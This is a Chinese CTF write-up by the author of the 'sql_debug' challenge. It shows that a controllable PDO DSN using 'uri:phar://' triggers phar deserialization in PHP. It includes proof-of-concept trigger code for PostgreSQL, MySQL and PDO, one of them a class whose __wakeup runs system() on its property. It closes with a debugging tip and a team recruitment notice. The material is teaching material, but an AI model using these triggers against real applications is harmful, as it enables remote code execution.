PDO-dsn_from_uri-phar反序列化

0x0 前言

X月受邀给某春秋出题,因为没有这么多时间去研究点好玩的新技术,就随便把之前发现的phar利用点给出成了题。

最终整场比赛1解( 做出来的师傅不多 可能题目设计的不是很好 在这里给师傅们道个歉 轻点骂 什么垃圾题目

0x1 sql_debug题目介绍

在这次2022年春秋杯联赛中,我出了一道sql_debug赛题。本题环境是Nette Web,一个PHP框架应用。

我在环境里放了一个install.php可以修改框架的配置文件

image-20220509105628830

在控制器中呢也可以看到存在一个SQL注入的方法

image-20220509105731412

我在环境里没有放置mysql 所以sql注入这个地方是行不通的。

在高版本php里即使是在数据库配置可控的情况下尝试使用恶意mysql服务器读取文件也是不可以的。

选手们到这里就应该思考 在配置文件可控的情况下有什么办法接管服务器了。

结合题意我们可以对Nette的数据库初始化代码进行分析,你可以发现数据库是使用pdo进行连接的。

source/vendor/nette/database/src/Database/Connection.php

image-20220509110450508

我们知道myqslpdo都有phar利用,不幸的是这两个利用方式都无法在本题中使用。

  1. Postgres
1
2
3
4
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

  1. MySQL
1
2
3
4
5
6
7
8
9
10
11
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

那么有没有一种可能,还有其他的phar利用方式呢?

0x2 dsn_from_uri 触发phar反序列化

我们跟进php源码 搜索phar反序列化的入口函数可以发现在pdo_dbh.c中存在这调用

image-20220509111623095

跟进该函数 可以发现直接调用了实参uri

image-20220509111712347

查找dsn_from_uri发现只有一地方存在调用,即static PHP_METHOD(PDO, dbh_constructor)

image-20220509111945898

我们在php的官网可以找到uri:的相关解释

dsn由uri组成:后面跟着一个定义包含dsn字符串的文件位置的uri。URI可以指定本地文件或远程URL。

image-20220509112030908

所以我们可以通过uri:phar://phar.phar的方式触发phar反序列,demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "classTest.php";
$dbms='mysql';
$host='localhost';
$dbName='test';
$user='root';
$pass='';
$dsn="uri:phar://phar.phar/$dbms:host=$host;dbname=$dbName";

try {
$dbh = new PDO($dsn, $user, $pass);
$dbh = null;
} catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
?>

image-20220509112232223

到这里这道题的解法就非常明朗了,接下来只需要挖一条Nette的链子写入install.lock打Phar就好。

链子非常简单 我就不写了

0x3 Linux下PHP内核调试小知识

想起来再补

  1. vscode的调试配置文件里 可以把参数配置为-S这样就可以启动web服务,非常的方便调试。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    {
    // 使用 IntelliSense 了解相关属性。
    // 悬停以查看现有属性的描述。
    // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [{
    "name": "(lldb) Debug",
    "type": "cppdbg",
    "request": "launch",
    "program": "/usr/local/php7.1.33/bin/php",
    "args": ["-S","0:10001"],
    "stopAtEntry": false,
    "cwd": "${workspaceRoot}/html/",
    }
    ]
    }

    image-20220509112734600

    image-20220509112744768

0x4 个人总结

  1. 鸡肋 只适合CTF
  2. 互联网没看到有人发 算是一个新的知识点

0x5 招聘!!!

你是否想要加入一个安全团队?

拥有更好的学习氛围?

那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。

欢迎各位大佬小白入驻,大家一起打卡CTF,一起进步。

我们在挖掘,不让你埋没!

你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。

有意向的师傅请看下列联系方式

  1. 邮箱 [email protected] (带上自己的简历,简历内容包括自己的学习方向,学习经历等)
  2. EDI安全 微信公众号留言
作者

Suanve

发布于

2022-05-09

更新于

2022-05-09

许可协议